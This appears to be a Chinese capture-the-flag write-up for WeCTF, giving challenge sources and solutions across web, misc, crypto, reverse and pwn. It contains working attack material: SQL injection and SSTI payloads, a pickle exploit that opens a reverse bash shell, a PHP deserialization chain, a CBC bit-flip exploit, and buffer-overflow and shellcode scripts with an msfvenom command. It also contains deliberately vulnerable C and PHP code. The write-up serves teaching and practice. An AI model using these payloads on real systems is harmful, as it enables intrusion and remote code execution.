Welcome to the first of WeCTF

Web

Web题目中至少2道题考代码审计。

web签到

http://119.23.236.68:63006/web1/index.php
查看源代码
wectf{the_iiiis_flag}

easy01

http://119.23.236.68:63006/easy/index.php
源码提示 get name == wectf
payload : http://119.23.236.68:63006/easy/index.php?name=wectf
wectf{1e2e3c4a5d6c123d456eaec456789f}

easy02

http://119.23.236.68:63006/web2/index.php
XFF 伪造 127.0.0.1
wectf{X_FORWARDED_FOR_is}

easy03

http://119.23.236.68:63006/web4/index.php
抓包,header
wectf{header_must_be_win}

medium01

http://119.23.236.68:63006/web3/index.php

<?php 
highlight_file("source.php"); 
if(isset($_GET['a'])) 
{ 
    $a = trim($_GET['a']); 
    if($a>999999 and strlen($a)<5) 
    { 
        echo "wectf{xxxxxxxxxxxxxxx}"; 
    } 
} 
?>

payload : http://119.23.236.68:63006/web3/index.php?a=1e9
wectf{eeeeeeeee_is_low}

medium02

http://119.23.236.68:63006/web5/index.php

<?php
error_reporting(0);
highlight_file("source.php");
$name = $_COOKIE['pass'];
if($name == "password")
{
    extract($_POST);
    if($name == "isnotonly")
    {
        echo "wectf{xxxxxxxxxxxxxx}";
    }
}
?>

payload:

curl http://119.23.236.68:63006/web5/index.php --cookie "pass=password" --data "name=isnotonly"

wectf{flag_1s_here}

medium03

http://119.23.236.68:63006/medium/index.php


<?php 
highlight_file('source.php'); 
error_reporting(0); 
$flag = 'wectf{xxxxxxxxxxxxxxxx}'; 
if (isset($_GET['name']) and isset($_GET['username']) and isset($_POST['password'])) { 
    if ($_GET['username'] == $_POST['password']){ 
        die('exit'); 
    } 
    else if(sha1($_GET['username']) === sha1($_POST['password'])) 
    { 
        $name = urldecode($_GET['name']); 
        if ($name === 'wectf!@#$wectf') 
        { 
            die('Flag: '.$flag); 
        } 
    } 
} 
?> 


wectf{e2e123acef456789d132f456c13}

high01

http://119.23.236.68:63006/high/index.php

import requests
import base64
import string

s = requests.session()
url = "http://119.23.236.68:63006/high/index.php"

header = {'User-Agent': 'Kylinbrowser',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://119.23.236.68:63006/high/index.php',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '29',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'}
bdata = {
    'username':"admin",
    'password':"admin' or '2'>'1"
}
base = s.post(url,headers=header,data=bdata).text

flag = ""
# while True:
for i in "{}0123456789abcdefghijklmnopqrstuvwxyz":
    try:
        data = {
            'username':"admin",
            'password':"admin' or '2'>'1' union select 1,'ad','%s' order by 3,'1" % i
        }
        html = s.post(url,headers=header,data=data).text
        print(i,html)
    except:
       pass

wectf{this_15s_high_inject}

high02

http://119.23.236.68:63007/
提示: flag.txt 在根目录下,直接读就好
payload:
http://119.23.236.68:63007/?name={{().class.bases[0].subclasses()[177].init.globals.builtins%27open%27.read()}}

wectf{what_a_easy_ssti}

high03

http://119.23.236.68:63008/
提示: flag.txt 在根目录下
给源码:
app.py


import requests
import pickle
import os
class exp(object):
    def __reduce__(self):
        payload = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",6300));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
        return (os.system,(payload,))
e = exp()
s = pickle.dumps(e)
print(s)
data = {
    'a':s
}
html = requests.post("http://119.23.236.68:63008/",data=data).content
print(html)

wectf{just_fanxuliehua_python}

crazy01

http://119.23.236.68:63006/crazy01/index.php
题目描述:就是一个php反序列化


##exp.php
<?php
class O00O
{
        public $value;
        public function __construct()
        {
                $this->value = new Call();
        }
        public function __destruct()
        {
                $this->value->func1();
        }
}
class Call
{
        public $value;
        public function __construct()
        {
                $this->value = new Func_t();
        }
        public function func1()
    {
            $this->value->func2();
    }
}
class Func_t
{
        public $value;
        public function __construct()
        {
                $this->value = new Func_m();
        }
        public function __call($func2,$a)
        {
                $func = $this->value;
                $func();
        }
}
class Func_m
{
        public $value1;
        public $value2;
        public function __construct()
        {
                $this->value1 = new Ina();
        }
        public function __invoke()
        {
                $this->value2 = "flag".$this->value1;
        } 
}
class Ina
{
        public $value;
        public function __construct()
        {
                $this->value = new GetFlag();
        }
        public function __toString()
        {
                $this->value->get_flag();
                return "1";
        }
}
class GetFlag
{
    public function get_flag()
    {
        echo "flag{xxxxxxxxxxxxxxxxx}";
    }
}
$b = new O00O;                                       
echo urlencode(serialize($b))."<br />";       

生成payload:

O%3A4%3A%22O00O%22%3A1%3A%7Bs%3A5%3A%22value%22%3BO%3A4%3A%22Call%22%3A1%3A%7Bs%3A5%3A%22value%22%3BO%3A6%3A%22Func_t%22%3A1%3A%7Bs%3A5%3A%22value%22%3BO%3A6%3A%22Func_m%22%3A2%3A%7Bs%3A6%3A%22value1%22%3BO%3A3%3A%22Ina%22%3A1%3A%7Bs%3A5%3A%22value%22%3BO%3A7%3A%22GetFlag%22%3A0%3A%7B%7D%7Ds%3A6%3A%22value2%22%3BN%3B%7D%7D%7D%7D

flag{unserialize_php_O00O}

Misc

ROT13(签到题)

rot13 编码,我相信你能找到解码方式

flag = "xxxxxxxxxxxxxxxx"
print flag.encode('rot13')
#jrpgs{E0g13_fb_rnfl_jr1p0zr_gb_jrpgs}

flag:wectf{R0t13_so_easy_we1c0me_to_wectf}

贝斯家族

你听说过大名鼎鼎的贝斯(base)家族吗?
4D515A464D32544549354E444F574C4B4B4A35465556525950424D57594F4B474A565744514D535A4C415944323D3D3D

源码:

flag = '××××××××××××××'
print base64.b16encode(base64.b32encode(base64.b64encode(flag)))
#4D515A464D32544549354E444F574C4B4B4A35465556525950424D57594F4B474A565744514D535A4C415944323D3D3D

flag : wectf{b4se_1b_E2_6a}

ASCII码

听说过 ASCII 码吗,试试解码这个,仔细看 ASCII 码表
77656374667b315f346d5f66346b655f08080808085f666c34677d

源码:

enc = 'wectf{1_4m_f4ke_\b\b\b\b\bfl4g}'.encode('hex')
print enc
#77656374667b315f346d5f66346b655f08080808085f666c34677d

其实这个就是玩了一点花样,0x08 是退格,5个退格就把 f4ke_ 删掉,就是真的 flag
flag : wectf{1_4m_fl4g}

babypcap

goodluck.pcap

我通过 nc 把 flag 从 192.168.229.1 发送到 192.168.229.128
进去跟踪 tcp 流就能看到flag

flag : wectf{4maz1n9_pcap}
.........

这是个啥东西

你知道 png 文的文格式吗?
WECTF.png.zip

flag:wectf{pn9_h4s_n0_he4d}
这个题目我去掉了 png 的文头

89 50 4E 47 0D 0A 1A 0A

https://ctf-wiki.github.io/ctf-wiki/misc/picture/png-zh/)

whoami

whoami.py:

tmp = ''
enc = '\xfc\xfe`\xec\xf8\xe2\xee`\xf0\xf2\xe2\xf0\xf2\xe2\xf0\xf2\xe2'
flag = input("flag :")
for i in flag:
    tmp += chr((ord(i) * 2 ^ 0x20))

if tmp == enc:
    print("you get it, but......")
else:
    print("error!")

tmp = ''
enc = '\xfc\xfe`\xec\xf8\xe2\xee`\xf0\xf2\xe2\xf0\xf2\xe2\xf0\xf2\xe2'
flag = input("flag :")
for i in flag:
    tmp += chr((ord(i) * 2 ^ 0x20))

if tmp == enc:
    print("you get it, but......")
else:
    print("error!")


tmp = ''
enc = '\xfc\xfe`\xec\xf8\xe2\xee`\xf0\xf2\xe2\xf0\xf2\xe2\xf0\xf2\xe2'
flag = input("flag :")
for i in flag:
    tmp += chr((ord(i) * 2 ^ 0x20))

if tmp == enc:
    print("you get it, but......")
else:
    print("error!")

tmp = ''
enc = '\xfc\xfe`\xec\xf8\xe2\xee`\xf0\xf2\xe2\xf0\xf2\xe2\xf0\xf2\xe2'
flag = input("flag :")
for i in flag:
    tmp += chr((ord(i) * 2 ^ 0x20))

if tmp == enc:
    print("you get it, but......")
else:
    print("error!")

tmp = ''
enc = '\xfc\xfe`\xec\xf8\xe2\xee`\xf0\xf2\xe2\xf0\xf2\xe2\xf0\xf2\xe2'
flag = input("flag :")
for i in flag:
    tmp += chr((ord(i) * 2 ^ 0x20))

if tmp == enc:
    print("you get it, but......")
else:
    print("error!")

tmp = ''
enc = '\xfc\xfe`\xec\xf8\xe2\xee`\xf0\xf2\xe2\xf0\xf2\xe2\xf0\xf2\xe2'
flag = input("flag :")
for i in flag:
    tmp += chr((ord(i) * 2 ^ 0x20))

if tmp == enc:
    print("you get it, but......")
else:
    print("error!")

足够长
然后用 python3.6 编译成 pyc
whoami.pyc
whoami.cpython-36.pyc

解出这个并没有什么用,因为 flag 不在代码里面
用这个 https://github.com/AngelKitty/stegosaurus 隐写

python3.6 stegosaurus.py whoami.cpython-36.pyc -s --payload "you get it wectf{stegosaurus_g00d}"

解出 flag:

python3.6 stegosaurus.py -x whoami.cpython-36.pyc

钛合金狗眼

拿到图片首先binwalk跑一下,发现图片之后,一句foremost直接分离

放大第二张图片之后发现整齐的噪点,可以推测通道里面藏着信息
百度搜索关键词: CTF 两张图片,得到某次比赛的wp
http://blog.sina.com.cn/s/blog_9cd8465f0102v6ok.html

按照网上的答案,写脚本进行比较:

发现与网上的题目差不多,比赛那题是red通道隐藏信息,这题是blue通道隐藏信息。
再继续写代码把blue通道里面隐藏的信息提取出来

得到一串长度为2809的二进制数样子的字符串,即5353
接下来创建一个53
53像素的图片, 将1和0转化为黑色像素点和白色像素点

得到一张二维码图片,但是并不能扫出来
再另外建立一张同样大小的图片,然后将该图片行列转置,保存在新图中

用手机扫描转置后的图片,得到flag
flag{8fgd2svxc6zbikyt4}

SKsteg

babySteg.zip

encode.py:

from PIL import Image

def banner():
    bnr = '''
:'######::'##:::'##::'######::'########:'########::'######:::
'##... ##: ##::'##::'##... ##:... ##..:: ##.....::'##... ##::
 ##:::..:: ##:'##::: ##:::..::::: ##:::: ##::::::: ##:::..:::
. ######:: #####::::. ######::::: ##:::: ######::: ##::'####:
:..... ##: ##. ##::::..... ##:::: ##:::: ##...:::: ##::: ##::
'##::: ##: ##:. ##::'##::: ##:::: ##:::: ##::::::: ##::: ##::
. ######:: ##::. ##:. ######::::: ##:::: ########:. ######:::
:......:::..::::..:::......::::::..:::::........:::......::::
author:We_ax--Scriptkiddies
    '''
    print(bnr)

def str_convert_bin(s):
    result = ''
    for c in s:
        b = bin(ord(c)).replace('0b', '')
        b = '0' * (7 - len(b)) + b
        result = result + b
    return result

def insert(im, bin1):
    size = im.size
    length = len(bin1)
    print(length)
    k = 0
    flag = 0
    for i in range(1, size[0]):
        for j in range(size[1]):
            idx = (i * j) % 3
            pixel = bin(im.getpixel((i, j))[idx]).replace('0b', '')
            if idx == 0:
                if pixel[-1:] < bin1[k]:
                    im.putpixel((i, j), (im.getpixel(
                        (i, j))[0] + 1, im.getpixel(
                            (i, j))[1], im.getpixel((i, j))[2]))
                if pixel[-1:] > bin1[k]:
                    im.putpixel((i, j), (im.getpixel(
                        (i, j))[0] - 1, im.getpixel(
                            (i, j))[1], im.getpixel((i, j))[2]))
                k = k + 1
                if k == length:
                    flag = 1
                    break
            elif idx == 1:
                if pixel[-1:] < bin1[k]:
                    im.putpixel((i, j), (im.getpixel(
                        (i, j))[0], im.getpixel(
                            (i, j))[1] + 1, im.getpixel((i, j))[2]))
                if pixel[-1:] > bin1[k]:
                    im.putpixel((i, j), (im.getpixel(
                        (i, j))[0], im.getpixel(
                            (i, j))[1] - 1, im.getpixel((i, j))[2]))
                k = k + 1
                if k == length:
                    flag = 1
                    break
            elif idx == 2:
                if pixel[-1:] < bin1[k]:
                    im.putpixel((i, j), (im.getpixel(
                        (i, j))[0], im.getpixel((i, j))[1], im.getpixel(
                            (i, j))[2] + 1))
                if pixel[-1:] > bin1[k]:
                    im.putpixel((i, j), (im.getpixel(
                        (i, j))[0], im.getpixel((i, j))[1], im.getpixel(
                            (i, j))[2] - 1))
                k = k + 1
                if k == length:
                    flag = 1
                    break

        if flag == 1:
            break
    print("over\n\n")
    im.save("out.bmp")

def main():
    banner()
    test_str = input("flag :  ")
    result = str_convert_bin(test_str)
    im = Image.open("in.bmp")
    insert(im, result)

if __name__ == '__main__':
    main()

decode.py:

#-*- coding: utf-8 -*-
from PIL import Image
def bin_convert_str(b):
    str=''
    b1 = [b[i:i+7] for i in range(0, len(b), 7)]
    for i in range(len(b1)):
        b2 = chr(int(b1[i],2))
        str = str+b2
    return str

def extract(im,length):
    size = im.size
    k=0
    result=''
    flag=0

    for i in range(1, size[0]):
        for j in range(size[1]):
            idx = (i * j) % 3
            pixel_b=bin(im.getpixel((i,j))[idx]).replace('0b', '')
            result=result+pixel_b[-1:]
            k=k+1 

            if k==length:
                flag=1
                break
        if flag==1:
            break
    print("提取完成,二进制字符串为:\n%s"%result)
    str = bin_convert_str(result)
    print("转换完成,结果为:\n%s"%str)
im = Image.open('out.bmp')
extract(im, 200)

这个题目我就是魔改了传统的 lsb 隐写
我把 flag 转成 bin
第 k 个 bit 放在第 i * j 个像素点的 r 通道,第 k + 1 个 bit 放在第 i * j +1 个像素点 g 通道 ,第 k + 2 个 bit 放在第 i * j + 2个像素点 b 通道 ,一个像素点我只放一个 bit 而且 下一个像素点写入通道和前一个不一样, 这样 Stegsolve 或者现有的隐写工具 也没办法解出来,当时我还想打乱顺序 不是 RGB 顺序写入,而是随机写入 保存随机数,让他们根据随机数去读取对应位置的数据,想了想有点过分,还是算了
这个题要是想解,老老实实写脚本,写完就了解 lsb 是个什么东西了
原本想用 c 出,写成逆向题的,但是想了想还是算了,出成逆向有点难了

flag:wectf{lsb_so_easy_hiahiahia}

Crypto

签到

为了证明你的存在,Q群:930446586 flag在公告
wectf{this_is_format_of_flag}

guess

密文:U2FsdGVkX19x8Dq5FttochQw/lMz8C5gFD6PQjKZvtxBjb0Sab8cIqXqBpMne5vx
明文:wectf{wectf_weCTF_WeCTF}
解:
这个题不给加密类型,base64 解码后可以看见 Salted ,判断是 AES
无秘钥解出 flag
解码网址 http://tools.jb51.net/password/aes_encode

cxk=xcp

给源文:

lowercase = "abcdefghijklnmopqrstuvqxyz"
uppercase = "ABCDEFGHIJKLMNOPQRSTUVQXYZ"
digest = "0123456789"
plaintext = "what are you doing? you can join crypt group. flag is wectf{xxxxxxxxxxxxx}"
ciphertext = ""
for i in range(len(plaintext)):
    if plaintext[i] in lowercase:
        enc = ord('a') + (ord('z') - ord(plaintext[i]))%26
    elif plaintext[i] in uppercase:
        enc = ord('A') + (ord('Z') - ord(plaintext[i]))%26
    elif plaintext[i] in digest:
        enc = ord('0') + (ord('9') - ord(plaintext[i]))%10
    else:
        enc = ord(plaintext[i])
    ciphertext += chr(enc)
print(ciphertext)
## ciphertext : wszg ziv blf wlrmt? blf xzm qlrm xibkg tilfk. uozt rh wvxgu{hzev_h5ev_nv}

加密即解密,将ciphertext代入plaintext再运行一次就得。
wectf{save_s4ve_me}

老套的md5

小明又泼墨水了,墨水这次泼到 wectf 的flag上面了,明文中有三个字符被挡住了,巧的很,明文的md5值咱们知道,而且他没有被泼墨水,简单了把
明文:wectf{ab?def?hijklm?opq}
密文:84e7ab5946fb4c5d94ed891c42d5fac6

import string
import hashlib

for i in string.ascii_lowercase:
    for j in string.ascii_lowercase:
        for k in string.ascii_lowercase:
            a = "wectf{ab"+i+"def"+j+"hijklm"+k+"opq}"
            c = hashlib.md5(a)
            b = c.hexdigest()
            if b == "84e7ab5946fb4c5d94ed891c42d5fac6":
                print(a)

wectf{abzdefhhijklmlopq}

babyRSA

Rsa 是不可攻破的吗?

from Crypto.Util.number import bytes_to_long
flag = raw_input("flag : ")
tmp = bytes_to_long(flag)
n = 47966708183289639962501363163761864399454241691014467172805658518368423135168025285144721028476297179341434450931955275325060173656301959484440112740411109153032840150659
e = 3
c = pow(tmp, e, n)
if c == 1495572858946434740124351882099461657145759077753704214627609673423129831012766355967962871807110976347627163520955975614562262871102943487213224386685367602432775269:
    print "you get it!"
else:
    print "Too Young, Too simple!"

这个题目考的是最简单的 Rsa 小指数攻击

flag : wectf{rs4_e=3_n0T_s4fE}

exp:

from Crypto.Util.number import *
import primefac
import gmpy2

def modinv(a,n):
    return primefac.modinv(a,n) % n
n=47966708183289639962501363163761864399454241691014467172805658518368423135168025285144721028476297179341434450931955275325060173656301959484440112740411109153032840150659
e=3
c=1495572858946434740124351882099461657145759077753704214627609673423129831012766355967962871807110976347627163520955975614562262871102943487213224386685367602432775269

i=0
while 1:
    if(gmpy2.iroot(c+i*n, 3)[1]==1):
        print long_to_bytes(gmpy2.iroot(c+i*n, 3)[0])
        break
    i=i+1

脑筋急转弯

import random
import time
import os
import sys
from Crypto.Cipher import DES

class Unbuffered(object):
   def __init__(self, stream):
       self.stream = stream
   def write(self, data):
       self.stream.write(data)
       self.stream.flush()
   def __getattr__(self, attr):
       return getattr(self.stream, attr)

#取消缓冲
sys.stdout = Unbuffered(sys.stdout)

#设定闹铃,5分钟进程自杀
import signal
signal.alarm(300)


flag=r"wectf{baby_crypt0_DES}"
hint = '''
Welcome to my world, where you can enter a string of characters to get a bunch of encrypted data, the things you want are in this string of data.
Encryption method: DES("your input"+flag)
'''
print(hint)

key = os.urandom(8)

def des_cbc(key,m):
    handler=DES.new(key,DES.MODE_ECB)
    return handler.encrypt(m).encode("hex")

while True:
    input = raw_input(">> ")
    token = input + flag
    tmp = len(token)/16
    token = token.ljust((tmp+1)*16,"0")
    checksum=des_cbc(key,token)
    print("checksum: "+checksum)
##exp.py
import socket
import string
import time
def Checker(s):
    flag = ""
    strings = "-_{}%/+=:" + string.ascii_letters + string.digits
    for i in range(47,-1,-1):
        error = 1
        s.send("@"*i + "\n")
        temp = s.recv(2048)
        if "checksum" not in temp:
            temp = s.recv(1024)
        for k in strings:
            s.send("@"*i + flag + k + "\n")
            value = s.recv(1024)[:106]
            if "checksum" not in value:
                value = s.recv(1024)[:106]
            if value == temp[:106]:
                flag += k
                print(flag)
                error = 0
                break
        if error == 1:
            flag += "@"
            print(flag)


host = "39.98.246.99"
port = 11112
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
banner = sock.recv(3048)
print(banner)
flagvalue = sock.recv(2048)
Checker(sock)

wectf{baby_crypt0_DES}

attack CBC

class Unbuffered(object):
   def __init__(self, stream):
       self.stream = stream
   def write(self, data):
       self.stream.write(data)
       self.stream.flush()
   def __getattr__(self, attr):
       return getattr(self.stream, attr)
import sys
sys.stdout = Unbuffered(sys.stdout)
import signal
signal.alarm(600)

import random
import time
flag=open("flag","r").read()

from Crypto.Cipher import AES
import os

def aes_cbc(key,iv,m):
    handler=AES.new(key,AES.MODE_CBC,iv)
    return handler.encrypt(m).encode("hex")
def aes_cbc_dec(key,iv,c):
    handler=AES.new(key,AES.MODE_CBC,iv)
    return handler.decrypt(c.decode("hex"))

key=os.urandom(16)
iv=os.urandom(16)
session=os.urandom(8)
token="session="+session.encode("hex")+";admin=0"
checksum=aes_cbc(key,iv,token)
print token+";checksum="+checksum
for i in range(10):
    token_rcv=raw_input("token:")
    if token_rcv.split("admin=")[1][0]=='1' and token_rcv.split("session=")[1][0:16].decode("hex")==session:
        c_rcv=token_rcv.split("checksum=")[1].strip()
        m_rcv=aes_cbc_dec(key,iv,c_rcv)
        print m_rcv
        if m_rcv.split("admin=")[1][0]=='1':
            print flag

CBC 加密就是把上一个块的密文当成下一个块的 IV

代码中

if m_rcv.split("admin=")[1][0]=='1':
  print flag

就是检查了传回来的 token 是不 admin=1,等于 1 的话就印出 flag
不会检查其他块是否能解密,这样我们修改上一个块的密文中 admin=0 的 0 的对应异或的那个字符把它 异或上 0 再异或上 1 就能达到修改 admin=1 的目的(注意这里的 0 和 1 是 char 不是 int)

运行的时候是这样的

session=a84b3aee320ae1e2;admin=0;checksum=551d730d1e45de5033aecce896e874b1ab77327d9bcee3d3906ff29d95e5e0f7
token:

session=a84b3aee
320ae1e2;admin=0

checksum:

551d730d1e45de5033aecce896e874b1
ab77327d9bcee3d3906ff29d95e5e0f7

0 的对应字符是 e
checksum 上就是

b1
f7

把 hex(0xb1 ^ ord('0') ^ ord('1'))
等于 0xb0
用 b0 代替 b1 构造 payload:

session=a84b3aee320ae1e2;admin=1;checksum=551d730d1e45de5033aecce896e874b0ab77327d9bcee3d3906ff29d95e5e0f7
session=a84b3aee320ae1e2;admin=0;checksum=551d730d1e45de5033aecce896e874b1ab77327d9bcee3d3906ff29d95e5e0f7
token:session=a84b3aee320ae1e2;admin=1;checksum=551d730d1e45de5033aecce896e874b0ab77327d9bcee3d3906ff29d95e5e0f7
�C�(�u'����ԽM320ae1e2;admin=1
wectf{attack_AESCBC_by_Bit-flip}

可以看到前面的块已经解不出原文了,因为我们修改了它的密文,但是我们只 check admin 是不是等于 1

这个攻击的名字叫:比特翻转

exp:

from zio import *

host = ''
port = 
def cbc_bit_attack_mul(c,m,position,target):
    l = len(position)
    r=c
    for i in range(l):
        change=position[i]-16
        tmp=chr(ord(m[position[i]])^ord(target[i])^ord(c[change]))
        r=r[0:change]+tmp+r[change+1:]
    return r


target=(host ,port)
io=zio(target)
io.read_until("session=")
session=io.read(16)
io.read_until("checksum=")
c=io.readline().strip()

t1="session="+session+";admin=0"

newchecksum=cbc_bit_attack_mul(c.decode("hex"),t1,[16+16-1],['1'])
io.writeline("session="+session+";admin=1;checksum="+newchecksum.encode("hex"))

io.interact()

Reverse

xor

linux for循环 xor

没什么好说的,循环异或 1

flag:wectf{x0r_s0_e4sy}

cmp

windows系统
flag:flag{412accbb6e9ffbeef39e317d0862b9ab}

思路:flag分成几段比较

assembly

题目

push    rbp
mov     rbp, rsp
sub     rsp, 10h
mov     [rbp+var_4], 0
jmp     short s1

s2:
mov     eax, [rbp+var_4]
cdqe
movzx   eax, s[rax]
add     eax, 14h
mov     edx, eax
mov     eax, [rbp+var_4]
cdqe
mov     s[rax], dl
add     [rbp+var_4], 1

s1:
cmp     [rbp+var_4], 25h
jle     short s2
mov     esi, offset s
mov     edi, offset format ; "%s"
mov     eax, 0
call    _printf
mov     eax, 0
leave
retn

s的数据为:
52 58 4D 53 67 51 22 4F  1C 52 23 4E 52 1C 50 4D
1F 52 1D 4F 23 23 4F 22  50 4F 4E 4F 23 1D 4D 20
21 1c 4d 21 1e 69

flag:flag{e6c0f7bf0da3f1c77c6dcbc71a450a52}

思路:题目直接给出一段汇编,通过阅读可以发现,s的数据会经过加法然后输出。可以还原代码

flag = [0x52,0x58,0x4D,0x53,0x67,0x51,0x22,0x4F,0x1C,0x52,0x23,0x4E,0x52,0x1C,0x50,0x4D,0x1F,0x52,0x1D,0x4F,0x23,0x23,0x4F,0x22,0x50,0x4F,0x4E,0x4F,0x23,0x1D,0x4D,0x20,0x21,0x1c,0x4d,0x21,0x1e,0x69]
flags = ""
for q in flag:
    flags+= chr(q+20)

print flags
#flag{e6c0f7bf0da3f1c77c6dcbc71a450a52}

base64

linux系统
flag:flag{787912e6b3b4c32f651e6b914382e3a9}
思路:
base64加密或对比,进入base64函数后会经过一个循环改变初始table的值

king

linux系统
flag:wectf{2d6915e15c7bdffe2b470c1648a79717}
思路:
里边就是一个凯撒加密,移的位数为7

k

.........

.Net程序调试
先用de4dot清理程序
之后使用dnSpy在程序入口点下断点,单步运行就能在下面的变量框看见flag

wectf{54sa58A92w6sa26a5Ssa88x9aw8wa56xW}
19abe65fdc1875edabc521e215693edf.exe

sign

.Net程序
flag:wectf{welc0mE_To_Csharp}
思路:
直接调用标准aes加密,函数名字也已经给出。

可以直接网上解密得到flag

sign_in.exe

emmm

flag:flag{a7b8d813f9d9a9b9c9ee4}
思路:里边是MersenneTwister随机数生成算法,输入的字符串每一个都会被当做seed并生成对应的随机数,比较。

读取出数据,爆破即可。

en = [
0x9901A900,0x3BCDF063,
0xD641F85A,0x6E9ED707,
0xB24BCDFE,0xD641F85A,
0x17D5F1CD,0xBB75DDDA,
0xFBF3FF55,0x8B1C9608,
0xFBF3FF55,0x4D0C01AA,
0xACFCBBFE,0x9901A900,
0x165C8BCF,0x8B1C9608,
0x165C8BCF,0xD641F85A,
0x165C8BCF,0xBB75DDDA,
0x165C8BCF,0xAC1A7281,
0x165C8BCF,0x8432B35F,
0x8432B35F,0xD2B75BF5,
0x81b8cbbd]
flag = ""
for q in en:
    for i in range(127):
        temp = MT19937(i).extract_number()
        if (temp==q):
            flag += chr(i)
            break
print flag

emmm

Pwn

BOF

变量覆盖

源码:

#include<stdio.h>
#include<stdlib.h>

void pwn(void){
  system("sh");
}

int main()
{
  char ipt[16];
  int root = 0;
  printf("Welcome to wectf!\n");
  printf("Do you know BOF??\n");
  printf(">");
  scanf("%s", ipt);
  if(root == 1){
    printf("good job!");
    pwn();
  }
  else{
    printf("yeah! good bye!\n");
  }
  return 0;
}

编译:

gcc -fno-stack-protector BOF.c -o BOF

我关闭了栈保护,这个题有多解

ipt 和 root 相距 28

from pwn import *

host = ''
port = 0000
r = remote(host, port)
exp = 'k' * 28 + p64(1)
r.sendline(exp)
r.interactive()

nc(pwn签到)

// filename:1.c
#include <stdio.h>
#include <stdint.h>
const uint64_t a = 0x123456789abcdef0;

int main()
{
    int i;
    uint64_t c,total;
    for (c=0, i=0, total=0; i++<5; )
    {
        scanf("%lu",&c);

        total += c;
    }

    total == a?system("/bin/sh"):printf("try again.\n");
    return 0;
}

//gcc ./1.c -o pwn1 && strip ./pwn1

pwn基本操作nc或者pwntools使用,基本逆向能力.
exp:

python -c "from pwn import *;p=remote('39.98.246.99',10040);p.sendline('{}\n'.format(0x123456789abcdef0/5));p.interactive()"

.........

Stack_balance

//filename: 2.c
#include <stdio.h>
#include <stdlib.h>

void input()
{
    int a[100] = {0};
    int i = 0;
    for (;i<100;i++)
        scanf("%d",&a[i]);
}

void check()
{
    int b[100];
    int c;
    c = b[0]==1 && b[99] == 100;
    c?system("/bin/sh"):printf("try again.\n");
}

int main()
{
    input();
    check();
    return 0;
}

//gcc ./2.c -o pwn2 && strip ./pwn2

考察堆栈平衡定理
exp:

python -c "from pwn import *;p=remote('39.98.246.99',10037);p.sendline('\n'.join([str(x) for x in xrange(1,101)]));p.interactive()"

Login

//filename: 3.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
int verify(char * ps)
{
    int i = 0;
    srand(time(0));
    for(;ps[i]&&i<15;i++)
        if (ps[i] != (rand() % 86))
            return 0;
    return 1;
}
int login()
{
    char username[16] = {0};
    char password[16] = {0};
    printf("what your name: \n");
    read(0,username,15);
    printf("Hello, %s",username);
    read(0,password,15);
    return verify(password);
}


int main()
{
    int a,b;
    setbuf(stdin,0);
    setbuf(stdout,0);
    if(login())
    {
        printf("login success!\nDo you find a number: \n");
        a = b = rand();
        scanf("%d", &a);
        a==b?system("/bin/sh"):printf("wrong answer.\n");
    }
    else
    {
        printf("login fails\n");
    }

    return 0;
}

//gcc ./3.c -o pwn3

简单逻辑漏洞和scanf漏洞:
当password第一个字节为\x00时, for循环条判断不成立, 直接return.
scanf当格式化控制符为“%d”时,可用+-\特殊符号跳过输入且不改变原值.

exp:

from pwn import *

p = remote('39.98.246.99', 10036)
p.recvuntil("what your name: \n")
p.sendline('ads')
p.recvuntil("\n")
p.sendline('\x00')
p.recvuntil(": \n")
p.sendline('+')
p.interactive()

Shellcode

此题目需要使用32位编译,如果不能编译请安装运行库gcc-multilib
如果不能运行参考https://blog.csdn.net/kingroc/article/details/51143327

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{
    setbuf(stdin,0);
    setbuf(stdout,0);
    char shellcode[0x100] = {0};
    void (*func)();
    int i;
    printf("Do you know shellcode?\ngive me your shellcode:\n");
    read(0,shellcode,0x100);
    for(i=0;i<0x100;i++)
    {
        char c = shellcode[i];
        if(c>='0' && c<='9' || c>='A' && c<='Z' || c>='a' && c<='z')
            continue;
        else
            return 1;
    }
    func = shellcode;
    func();
    return 0;
}
// gcc -m32 -z execstack ./4.c -o pwn4

特殊的shellcode,必须为可打印字符:

shellcode生成:
可使用msf
msfvenom -a x86 --platform linux -p linux/x86/exec CMD="/bin/sh" -e x86/alpha_upper BufferRegister=eax
也可使用github上项目:
https://github.com/ecx86/shellcode_encoder:

python -c "from pwn import *;p=remote('127.0.0.1',10001);p.recvuntil(':\n');p.sendline('PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJI3ZTKV8J9V2RF2H6M3SLIJGSX6OD3SX30RH6ORBU92NMYZC62KX385P30C06OU2BIBNVOBS3XUP67V3MYM18MMPAAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa');p.interactive()"

easystack

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>

void pwn_init()
{
    setbuf(stdin,0);
    setbuf(stdout,0);
}

void vuln()
{
    char buf[10] = {0};
    printf("What's your name?\n");
    read(0,buf,0x100);
    printf("Hello %s", buf);
}

int main()
{
    pwn_init();
    vuln();

    return 0;
}
//gcc -m32 -fno-stack-protector 5.c -o pwn5

32位普通栈溢出,给不给libc看情况

fmt

格式化串盲打,不给bin文

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void main()
{
    char buf[0x100];
    while (1)
    {
        memset(buf,0,0x100);
        read(0, buf, 0x100);
        printf(buf);
        fflush(stdout);
    }
}

//gcc ./6.c -m32 -o fmt

首先确定偏移

from pwn import *
p = remote('127.0.0.1', 10001)
def leak(payload):
    p.sendline(payload)
    return p.recv()

auto = FmtStr(leak) 
log.success(auto.offset)

